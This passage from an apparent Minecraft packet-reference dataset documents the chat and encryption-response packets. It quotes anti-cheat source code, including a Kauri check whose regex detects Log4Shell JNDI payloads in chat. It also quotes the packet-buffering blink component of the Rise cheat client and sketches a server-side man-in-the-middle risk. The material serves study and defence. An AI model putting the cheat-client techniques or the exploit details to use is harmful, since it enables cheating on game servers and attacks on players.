       "how_it_works": "CheckListener that wires the Captcha, Commands, Logins, Text and Relog checks and registers ChatConfig and ChatData. AsyncPlayerChatEvent at LOWEST priority runs the Text check and cancels spam; PlayerCommandPreprocessEvent at LOWEST runs the command checks with left-trimmed messages and command alias resolution; PlayerLoginEvent runs captcha reset, fast relog and login-rate checks. It also records teleport-like commands for the net checks and maintains prefix trees for ignored and chat-handled commands.",
       "detects": "Chat spam, command spam, captcha evasion, fast re-logging and login flooding.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/ChatListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.chat;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.bukkit.Location;\nimport org.bukkit.command.Command;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.player.AsyncPlayerChatEvent;\nimport org.bukkit.event.player.PlayerCommandPreprocessEvent;\nimport org.bukkit.event.player.PlayerLoginEvent;\nimport org.bukkit.event.player.PlayerLoginEvent.Result;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckListener;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingConfig;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.command.CommandUtil;\nimport fr.neatmonster.nocheatplus.compat.BridgeMisc;\nimport fr.neatmonster.nocheatplus.compat.SchedulerHelper;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.data.ICheckData;\nimport fr.neatmonster.nocheatplus.components.data.IData;\nimport fr.neatmonster.nocheatplus.components.registry.factory.IFactoryOne;\nimport fr.neatmonster.nocheatplus.components.registry.feature.INotifyReload;\nimport fr.neatmonster.nocheatplus.components.registry.feature.JoinLeaveListener;\nimport fr.neatmonster.nocheatplus.config.ConfPaths;\nimport fr.neatmonster.nocheatplus.config.ConfigFile;\nimport fr.neatmonster.nocheatplus.config.ConfigManager;\nimport fr.neatmonster.nocheatplus.logging.Streams;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.players.PlayerFactoryArgument;\nimport fr.neatmonster.nocheatplus.utilities.StringUtil;\nimport fr.neatmonster.nocheatplus.utilities.ds.prefixtree.SimpleCharPrefixTree;\nimport fr.neatmonster.nocheatplus.utilities.moving.MovingUtil;\nimport fr.neatmonster.nocheatplus.worlds.WorldFactoryArgument;\n\n/**\n * Central location to listen to events that are relevant for the chat checks.\n * \n * @see ChatEvent\n */\npublic class ChatListener extends CheckListener implements INotifyReload, JoinLeaveListener {\n\n    // Checks.\n    /** Captcha handler. */\n    private final Captcha captcha  = addCheck(new Captcha());  \n\n    /** Commands repetition check. */\n    private final Commands commands = addCheck(new Commands()); \n\n    /** Logins check (global,how many simualtenous logins can the server accept in a specified time-frame) */\n    private final Logins logins = addCheck(new Logins());\n\n    /** Chat message check. */\n    private final Text text = addCheck(new Text());\n\n    /** Relogging check (per-player re-log time. */\n    private final Relog relog  = addCheck(new Relog());\n\n    // Auxiliary stuff.\n    /** Commands to be ignored completely. */\n    private final SimpleCharPrefixTree commandExclusions = new SimpleCharPrefixTree();\n\n    /** Commands to be handled as chat (thus handled by Text and not Command check). */\n    private final SimpleCharPrefixTree chatCommands = new SimpleCharPrefixTree();\n\n    /** Commands not to be executed in-game.  */\n    private final SimpleCharPrefixTree consoleOnlyCommands = new SimpleCharPrefixTree(); \n\n    /** Set world to null after use, primary thread only. */\n    private final Location useLoc = new Location(null, 0, 0, 0);\n\n    @SuppressWarnings(\"unchecked\")\n    public ChatListener() {\n        super(CheckType.CHAT);\n        ConfigFile config = ConfigManager.getConfigFile();\n        initFilters(config);\n        // (text inits in constructor.)\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        api.register(api.newRegistrationContext()\n                .registerConfigWorld(ChatConfig.class)\n                .factory(new IFactoryOne<WorldFactoryArgument, ChatConfig>() {\n                    @Override\n                    public ChatConfig getNewInstance(WorldFactoryArgument arg) {\n                        return new ChatConfig(arg.worldData);\n                    }\n                })\n                .registerConfigTypesPlayer()\n                .context() //\n                .registerDataPlayer(ChatData.class)\n                .factory(new IFactoryOne<PlayerFactoryArgument, ChatData>() {\n                    @Override\n                    public ChatData getNewInstance(PlayerFactoryArgument arg) {\n                        return new ChatData();\n                    }\n                })\n                .addToGroups(CheckType.CHAT, true, IData.class, ICheckData.class)\n                .context() //\n                );\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.LOWEST)\n    public void onPlayerChat(final AsyncPlayerChatEvent event) {\n        final Player player = event.getPlayer();\n        final boolean alreadyCancelled = event.isCancelled();\n        if (!DataManager.getPlayerData(player).isCheckActive(CheckType.CHAT, player)) {\n            return;\n        }\n        // Tell TickTask to update cached permissions.\n        // (Might omit this if already cancelled.)\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final ChatConfig cc = pData.getGenericInstance(ChatConfig.class);\n        // Then the no chat check.\n        // TODO: isMainThread: Could consider event.isAsync ?\n        if (textChecks(player, event.getMessage(), cc, pData, false, alreadyCancelled)) {\n            event.setCancelled(true);\n        }\n\n    }\n\n    @EventHandler(priority = EventPriority.NORMAL)\n    public void onPlayerLogin(final PlayerLoginEvent event) {\n        if (event.getResult() != Result.ALLOWED) {\n            return;\n        }\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (!pData.isCheckActive(CheckType.CHAT, player)) {\n            return;\n        }\n        final ChatConfig cc = pData.getGenericInstance(ChatConfig.class);\n        final ChatData data = pData.getGenericInstance(ChatData.class);\n        // (No forced permission update, because the associated permissions are treated as hints rather.)\n        // Reset captcha of player if needed.\n        synchronized (data) {\n            captcha.resetCaptcha(player, cc, data, pData);\n        }\n        // Fast relog check.\n        if (relog.isEnabled(player, pData) && relog.unsafeLoginCheck(player, cc, data,pData)) {\n            event.disallow(Result.KICK_OTHER, cc.relogKickMessage);\n        }\n        else if (logins.isEnabled(player, pData) && logins.check(player, cc, data)) {\n            event.disallow(Result.KICK_OTHER, cc.loginsKickMessage);\n        }\n    }\n\n    @EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)\n    public void onPlayerTeleportCommandMonitor(final PlayerCommandPreprocessEvent event) {\n        final String command = getTeleportLikeCommand(event.getMessage());\n        if (command != null) {\n            final Player player = event.getPlayer();\n            DataManager.getPlayerData(player).getGenericInstance(NetData.class)\n                    .recordTeleportCommand(command, player.getLocation(), System.currentTimeMillis());\n        }\n    }\n\n    /** We listen to PlayerCommandPreprocess events because commands can be used for spamming too. */\n    @EventHandler(priority = EventPriority.LOWEST)\n    public void onPlayerCommandPreprocess(final PlayerCommandPreprocessEvent event) {\n        final Player player = event.getPlayer();\n        // Tell TickTask to update cached permissions.\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final ChatConfig cc = pData.getGenericInstance(ChatConfig.class);\n        // Left-trim is necessary because the server accepts leading spaces with commands.\n        final String message = event.getMessage();\n        final String lcMessage = StringUtil.leftTrim(message).toLowerCase();\n        // TODO: Remove bukkit: etc.\n        final String[] split = lcMessage.split(\" \", 2);\n        final String alias = split[0].substring(1);\n        final Command command = CommandUtil.getCommand(alias);\n\n        final List<String> messageVars = new ArrayList<String>(); // Could as well use an array and allow null on input of SimpleCharPrefixTree.\n        messageVars.add(lcMessage);\n        // Message to run chat checks on.\n        String checkMessage = message; \n        if (command != null) {\n            messageVars.add(\"/\" + command.getLabel().toLowerCase() + (split.length > 1 ? (\" \" + split[1]) : \"\"));\n        }\n        if (alias.indexOf(\":\") != -1) {\n            final int index = message.indexOf(\":\") + 1;\n            if (index < message.length()) {\n                checkMessage = message.substring(index);\n                messageVars.add(checkMessage.toLowerCase());\n            }\n        }\n        // Prevent commands from being used by players (e.g. /op /deop /reload).\n        if (cc.consoleOnlyCheck && consoleOnlyCommands.hasAnyPrefixWords(messageVars)) {\n            if (command == null || command.testPermission(player)) {\n                player.sendMessage(cc.consoleOnlyMessage);\n            }\n            event.setCancelled(true);\n            return;\n        }\n        // Handle as chat or command.\n        if (chatCommands.hasAnyPrefixWords(messageVars)) {\n            // Treat as chat.\n            // TODO: Consider requesting permission updates on these, for consistency.\n            // TODO: Cut off the command ?.\n            if (textChecks(player, checkMessage, cc, pData, true, false)) {\n                event.setCancelled(true);\n            }\n        }\n        else if (!commandExclusions.hasAnyPrefixWords(messageVars)) {\n            // Treat as command.\n            if (commands.isEnabled(player, pData) && commands.check(player, checkMessage, cc, pData, captcha)) {\n                event.setCancelled(true);\n            }\n            else {\n                // TODO: Consider always checking these?\n                // Note that this checks for prefixes, not prefix words.\n                final MovingConfig mcc = pData.getGenericInstance(MovingConfig.class);\n                if (mcc.passableUntrackedCommandCheck && mcc.passableUntrackedCommandPrefixes.hasAnyPrefix(messageVars)) {\n                    if (checkUntrackedLocation(player, message, mcc, pData)) {\n                        event.setCancelled(true);\n                    }\n                }\n            }\n        }\n    }\n\n    private String getTeleportLikeCommand(final String message) {\n        if (message == null) {\n            return null;\n        }\n        final String lcMessage = StringUtil.leftTrim(message).toLowerCase();\n        if (lcMessage.length() < 2 || lcMessage.charAt(0) != '/') {\n            return null;\n        }\n        final String[] split = lcMessage.split(\" \", 2);\n        String command = split[0].substring(1);\n        final int namespaceIndex = command.indexOf(':');\n        if (namespaceIndex >= 0 && namespaceIndex + 1 < command.length()) {\n            command = command.substring(namespaceIndex + 1);\n        }\n        return isTeleportLikeCommand(command) ? command : null;\n    }\n\n    private boolean isTeleportLikeCommand(final String command) {\n        return command.equals(\"rtp\")\n            || command.equals(\"randomtp\")\n            || command.equals(\"randomteleport\")\n            || command.equals(\"wild\")\n            || command.equals(\"wilderness\")\n            || command.equals(\"spawn\")\n            || command.equals(\"hub\")\n            || command.equals(\"lobby\")\n            || command.equals(\"home\")\n            || command.equals(\"homes\")\n            || command.equals(\"warp\")\n            || command.equals(\"warps\")\n            || command.equals(\"back\")\n            || command.equals(\"tpa\")\n            || command.equals(\"tpaccept\")\n            || command.equals(\"tpahere\")\n            || command.equals(\"tp\")\n            || command.equals(\"teleport\")\n            || command.equals(\"tphere\");\n    }\n\n    private boolean checkUntrackedLocation(final Player player, final String message, \n                                           final MovingConfig mcc, final IPlayerData pData) {\n        final Location loc = player.getLocation(useLoc);\n        boolean cancel = false;\n        if (MovingUtil.shouldCheckUntrackedLocation(player, loc, pData)) {\n            final Location newTo = MovingUtil.checkUntrackedLocation(loc);\n            if (newTo != null) {\n                if (mcc.passableUntrackedCommandTryTeleport \n                    && SchedulerHelper.teleportEntity(player, newTo, BridgeMisc.TELEPORT_CAUSE_CORRECTION_OF_POSITION)) {\n                    NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.TRACE_FILE, player.getName() + \" runs the command '\" + message + \"' at an untracked location: \" + loc + \" , teleport to: \" + newTo);\n                } \n                else {\n                    NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.TRACE_FILE, player.getName() + \" runs the command '\" + message + \"' at an untracked location: \" + loc + \" , cancel the command.\");\n                    cancel = true;\n                }\n            }\n        }\n        useLoc.setWorld(null); // Cleanup.\n        return cancel;\n    }\n\n    private void initFilters(ConfigFile config) {\n        CommandUtil.feedCommands(consoleOnlyCommands, config, ConfPaths.PROTECT_COMMANDS_CONSOLEONLY_CMDS, true);\n        CommandUtil.feedCommands(chatCommands, config, ConfPaths.CHAT_COMMANDS_HANDLEASCHAT, true);\n        CommandUtil.feedCommands(commandExclusions, config, ConfPaths.CHAT_COMMANDS_EXCLUSIONS, true);\n    }\n\n    private boolean textChecks(final Player player, final String message, \n                               final ChatConfig cc, final IPlayerData pData,\n                               final boolean isMainThread, final boolean alreadyCancelled) {\n        return text.isEnabled(player, pData) && text.check(player, message, cc, pData, captcha, isMainThread, alreadyCancelled);\n    }\n\n    @Override\n    public void onReload() {\n        // Read some things from the global config file.\n        ConfigFile config = ConfigManager.getConfigFile();\n        initFilters(config);\n        text.onReload();\n        logins.onReload();\n    }\n\n    @Override\n    public void playerJoins(final Player player) {\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final ChatConfig cc = pData.getGenericInstance(ChatConfig.class);\n        final ChatData data = pData.getGenericInstance(ChatData.class);\n        /*\n         * TODO: The isEnabled check must be done with IWorldData (no locking).\n         * Specifically because enabling/disabling checks should be done in the\n         * primary thread, regardless of the capabilities of WorldDataManager\n         * implementation.\n         */\n        synchronized (data) {\n            if (captcha.isEnabled(player, pData)) {\n                if (captcha.shouldCheckCaptcha(player, cc, data, pData)) {\n                    // shouldCheckCaptcha: only if really enabled.\n                    // TODO: Later: add check for cc.captchaOnLogin or so (before shouldCheckCaptcha).\n                    // TODO: maybe schedule this to come after other plugins messages.\n                    captcha.sendNewCaptcha(player, cc, data);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void playerLeaves(final Player player) {}\n}\n\n// NOTE (AI): NCP routes chat through Bukkit events rather than raw packets, so the listener is the dispatcher for the whole chat check family; the individual Text, Commands and Captcha files hold the scoring logic.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/ChatListener.java",
       "variations": "Photon ImpossibleChat runs on AsyncPlayerChatEvent too, Grim and BetterAnticheat validate the raw packet instead, and Kauri filters JNDI patterns from the chat stream."
      },
      {
       "name": "ImpossibleMessageCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Flags chat messages that cannot exist: fully empty or space-only strings and messages starting with a space.",
       "how_it_works": "handleReceivePlayPacket reads WrapperPlayClientChatMessage and checks the raw string: a trim that is empty fails with the code emp, a leading space fails with the code spc. Failures are recorded through the check base with the short codes as data.",
       "detects": "Empty chat packets and space-prefixed messages used to bypass spam filters.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/ImpossibleMessageCheck.java =====\npackage better.anticheat.core.check.impl.chat;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientChatMessage;\n\n/**\n * This check looks for impossible chat messages.\n */\n@CheckInfo(name = \"ImpossibleMessage\", category = \"chat\")\npublic class ImpossibleMessageCheck extends Check {\n\n    public ImpossibleMessageCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * This check looks for messages that are either fully empty or only made up of spacing characters.\n         */\n\n        if (event.getPacketType() != PacketType.Play.Client.CHAT_MESSAGE) return;\n        WrapperPlayClientChatMessage wrapper = new WrapperPlayClientChatMessage(event);\n        String message = wrapper.getMessage();\n\n        // You cannot send empty messages or messages starting with spaces.\n        if (message.trim().isEmpty()) fail(\"emp\");\n        else if (message.charAt(0) == ' ') fail(\"spc\");\n    }\n}\n\n// NOTE (AI): BetterAnticheat is a modern PacketEvents-based anticheat; the check is minimal by design.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/ImpossibleMessageCheck.java",
       "variations": "Grim ChatB also requires the message to be trim-equal and rejects / prefixes on modern versions; Photon ImpossibleChat covers the behavioral side instead."
      },
      {
       "name": "Log4J (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Scans chat messages for the JNDI lookup syntax used by the log4j exploit and cancels the packet.",
       "how_it_works": "WCancellable bound to WrapperPlayClientChatMessage. It compiles the pattern \\$\\{.*} and, if the whole message matches, flags 'Tried to use JNDI exploit' and returns true to cancel; otherwise it debug-logs the message and lets it through.",
       "detects": "Log4Shell payloads delivered through chat.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/chat/Log4J.java =====\npackage dev.brighten.ac.check.impl.chat;\n\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientChatMessage;\nimport dev.brighten.ac.api.check.CheckType;\nimport dev.brighten.ac.check.Check;\nimport dev.brighten.ac.check.CheckData;\nimport dev.brighten.ac.check.WCancellable;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.utils.annotation.Bind;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n@CheckData(name = \"Log4J\", checkId = \"log4j\", type = CheckType.CHAT)\npublic class Log4J extends Check {\n\n    public Log4J(APlayer player) {\n        super(player);\n    }\n\n    private final Pattern pattern = Pattern.compile(\"\\\\$\\\\{.*}\");\n\n    @Bind\n    WCancellable<WrapperPlayClientChatMessage> chatPacket = packet -> {\n        Matcher matcher = pattern.matcher(packet.getMessage());\n        if(matcher.matches()) {\n            flag(\"Tried to use JNDI exploit\");\n            return true;\n        }\n\n        debug(\"Sent chat message: \" + packet.getMessage());\n        return false;\n    };\n}\n\n// NOTE (AI): Kauri's check binding model attaches this WCancellable to the chat packet stream; the check is a direct response to the log4j vulnerability wave.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/check/impl/chat/Log4J.java",
       "variations": "Intave filters the same syntax in its CommandFilter and Log4JExploitFilter modules; Grim and BetterAnticheat validate chat shape rather than content."
      },
      {
       "name": "ImpossibleChat (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Flags chat sent while the player is in a state where the client physically cannot be chatting: sprinting, sneaking, blocking, dead, or inside a long-open inventory.",
       "how_it_works": "EventListener on AsyncPlayerChatEvent. If the user is sprinting, sneaking, blocking, dead, or has had an inventory open for over a second, it flags with +25 VL and cancels the event at the configured cancel VL (default 75). Violation management decays 25 VL every 600 ms.",
       "detects": "Chat modules that send messages while the client is in an impossible state, and inventory-based chat bypasses.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/impossiblechat/ImpossibleChat.java =====\npackage de.photon.anticheataddition.modules.checks.impossiblechat;\n\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.player.AsyncPlayerChatEvent;\n\npublic final class ImpossibleChat extends ViolationModule implements Listener\n{\n    public static final ImpossibleChat INSTANCE = new ImpossibleChat();\n\n    private final int cancelVl = loadInt(\".cancel_vl\", 75);\n\n    private ImpossibleChat()\n    {\n        super(\"ImpossibleChat\");\n    }\n\n    @EventHandler\n    public void onAsyncChat(final AsyncPlayerChatEvent event)\n    {\n        final var user = User.getUser(event.getPlayer());\n        if (User.isUserInvalid(user, this)) return;\n\n        if (user.getPlayer().isSprinting() ||\n            user.getPlayer().isSneaking() ||\n            user.getPlayer().isBlocking() ||\n            user.getPlayer().isDead() ||\n            // Have the inventory opened for some time\n            (user.hasOpenInventory() && user.notRecentlyOpenedInventory(1000)))\n        {\n            this.getManagement().flag(Flag.of(user).setAddedVl(25).setCancelAction(cancelVl, () -> event.setCancelled(true)));\n        }\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this).loadThresholdsToManagement().withDecay(600, 25).build();\n    }\n}\n\n// NOTE (AI): Photon listens on the Bukkit chat event rather than the packet; the inventory-open timing requirement uses the user's open-inventory tracker.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/impossiblechat/ImpossibleChat.java",
       "variations": "Grim ChatC flags moving while chatting from the raw packet stream; NoCheatPlus runs its Text and Captcha checks on the same event."
      }
     ]
    }
   },
   "wiki_notes": [
    "The server rebroadcasts an accepted chat message to all players that have chat enabled, including the player that sent it.",
    "MCP 1.8.9 C01PacketChatMessage implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processChatMessage; wire serde is readPacketData/writePacketData via readStringFromBuffer.",
    "1.8.9 callers: EntityPlayerSP.sendChatMessage sends new C01PacketChatMessage (line 298): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C01PacketChatMessage/",
   "mcp_path": "net/minecraft/network/play/client/C01PacketChatMessage.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C01PacketEncryptionResponse",
   "hex": "0x01",
   "dec": 1,
   "dir": "SERVERBOUND",
   "state": "LOGIN",
   "name": "Encryption Response",
   "desc": "Responds to the server's encryption request with the shared secret (RSA-encrypted with the server's public key) and verify token.",
   "tags": [
    "login",
    "authentication",
    "encryption",
    "security"
   ],
   "fields": [
    {
     "name": "sharedSecret",
     "type": "byte[]",
     "desc": "Encrypted shared secret (AES key encrypted with server's RSA public key)"
    },
    {
     "name": "verifyToken",
     "type": "byte[]",
     "desc": "Encrypted verify token (random challenge encrypted with server's RSA public key)"
    }
   ],
   "encoding": [
    [
     "Shared Secret Length",
     "VarInt",
     "Length of encrypted secret"
    ],
    [
     "Shared Secret",
     "byte[]",
     "Encrypted with server's RSA public key"
    ],
    [
     "Verify Token Length",
     "VarInt",
     "Length of encrypted token"
    ],
    [
     "Verify Token",
     "byte[]",
     "Encrypted with server's RSA public key"
    ]
   ],
   "mcp": [
    "NetHandlerLoginServer.processEncryptionResponse()"
   ],
   "handler": "INetHandlerLoginServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C01PacketEncryptionResponse is the second LOGIN-state packet and the last plaintext packet on the connection. The client generates a random AES secret, RSA-encrypts it together with the verify token from S01PacketEncryptionRequest using the server's public key, and sends both byte arrays. The server decrypts with its private key, checks the nonce, and enables symmetric AES encryption on the channel from that point on. In 1.8.9 this is where the session service join happens: the server hashes server id, public key and secret, and calls hasJoinedServer to resolve the profile UUID."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerLoginServer.processEncryptionResponse validates the state is KEY, decrypts the verify token with the private key, and throws IllegalStateException('Invalid nonce!') unless it matches the stored field_147330_e. It then stores the secret key, enables encryption on the NetworkManager, and spawns a 'User Authenticator' thread that computes the server-id hash and calls getMinecraftSessionService().hasJoinedServer. A null profile closes with 'Failed to verify username!'; a success moves to READY_TO_ACCEPT and sends S02PacketLoginSuccess."
     },
     {
      "h": "Why clients touch it",
      "p": "Two clients reference this packet, for opposite reasons. Rise 6.1.30 and 6.2.4 BlinkComponent list it in the pre-play exemption set, again as a buffering exemption: blink must not hold it because the server sits in KEY state until encryption is enabled. LiquidSense Dev reimplements the send itself: MixinNetHandlerLoginClient intercepts S01PacketEncryptionRequest and calls ClientUtils.sendEncryption, which builds C01PacketEncryptionResponse and sends it with a callback that enables encryption on the NetworkManager. No module in the corpus cancels, mutates or replays the packet, and there is no field worth spoofing: the nonce is server-issued and RSA-protected, so a tampered secret simply fails the nonce check or produces garbage decryption server-side. The 8 classic clients treat encryption as untouchable infrastructure; their disablers and ping spoofers all operate in the PLAY state where the stream is already encrypted."
     },
     {
      "h": "Exploit surface",
      "p": "The genuine abuse vector lives on the other side of the exchange: a malicious server can present its own RSA key in S01PacketEncryptionRequest and the client will happily encrypt the session to it, enabling MITM for session hijacking. That is a phishing problem, not a packet-level one, and no module in the corpus touches either side. The only client-side interaction is defensive: blink must not buffer this packet, because holding it would leave the server waiting in KEY state until the login timeout."
     }
    ],
    "overview": "The RSA handshake closer: client sends encrypted AES secret plus verify token, server nonce-checks and enables symmetric encryption. Corpus hits are Rise 6.x BlinkComponent's exemption and LiquidSense Dev's mixin-driven reimplementation of the send; no module cancels or spoofs it because there is nothing to gain and everything to lose.",
    "server_handling": "processEncryptionResponse: Validate.validState(KEY), decrypt verify token with the private key and compare against the stored nonce (throw on mismatch), store the AES secret, enable encryption on the channel, then authenticate asynchronously via hasJoinedServer with the server-id hash. Failures close the connection with 'Failed to verify username!'.",
    "protocol_notes": "LOGIN state, id 0x01. Two VarInt-length-prefixed byte arrays: the RSA-encrypted AES secret and the RSA-encrypted verify token, both PKCS1-padded by CryptManager. Must follow S01PacketEncryptionRequest; sending it without a pending KEY state throws. Immediately after this packet the entire stream switches to AES/CFB8, so every later packet is opaque on the wire.",
    "anticheat_landscape": "Not an anti-cheat surface at all: no gameplay data, no timing hooks, and the exchange is protected by the server's own nonce. Proxy setups (BungeeCord with forced hosts) use the secret to key their own encryption layer, but nothing in the 8 clients interacts with that. The practical flagging surface is zero, which is why only BlinkComponent's defensive exemption appears in the corpus.",
    "modules": [
     {
      "name": "BlinkComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Exempt C01PacketEncryptionResponse from blink buffering so the encryption exchange always completes and the connection actually becomes encrypted.",
      "how_it_works": "The PacketSendEvent listener's hard-coded pre-play exemption list includes C01PacketEncryptionResponse; the packet returns untouched and is never parked in the blink queue, so the login continues to the READY_TO_ACCEPT state normally.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.other.ServerJoinEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.status.client.C00PacketServerQuery;\nimport net.minecraft.network.status.client.C01PacketPing;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class BlinkComponent extends Component {\n\n    public static final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n    public static boolean blinking, dispatch;\n    public static ArrayList<Class<?>> exemptedPackets = new ArrayList<>();\n    public static StopWatch exemptionWatch = new StopWatch();\n\n    public static void setExempt(Class<?>... packets) {\n        exemptedPackets = new ArrayList<>(Arrays.asList(packets));\n        exemptionWatch.reset();\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (mc.thePlayer == null) {\n            packets.clear();\n            exemptedPackets.clear();\n            return;\n        }\n\n        if (mc.thePlayer.isDead || mc.isSingleplayer() || !mc.getNetHandler().doneLoadingTerrain) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            blinking = false;\n            exemptedPackets.clear();\n            return;\n        }\n\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C00Handshake || packet instanceof C00PacketLoginStart ||\n                packet instanceof C00PacketServerQuery || packet instanceof C01PacketPing ||\n                packet instanceof C01PacketEncryptionResponse) {\n            return;\n        }\n\n        if (blinking && !dispatch) {\n            if (exemptionWatch.finished(100)) {\n                exemptionWatch.reset();\n                exemptedPackets.clear();\n            }\n\n//            PingSpoofComponent.spoofing = false;\n\n            if (!event.isCancelled() && exemptedPackets.stream().noneMatch(packetClass ->\n                    packetClass == packet.getClass())) {\n                packets.add(packet);\n                event.setCancelled();\n            }\n        } else if (packet instanceof C03PacketPlayer) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            dispatch = false;\n        }\n    };\n\n    public static void dispatch() {\n        dispatch = true;\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<ServerJoinEvent> onServerJoin = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n}\n\n\n// NOTE (AI): This is the most safety-critical entry in the exemption list: buffering the encryption response would leave the server blocked in KEY state waiting for the nonce, and the client would never enable its own AES side. The exemption guarantees the crypto handshake is never delayed, not even by 100ms exemption windows elsewhere in the component.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java",
      "vanilla_hook": "PacketSendEvent",
      "anti_cheat_notes": "None: the packet is untouched. The exemption is structural, keeping blink out of the login state machine entirely.",
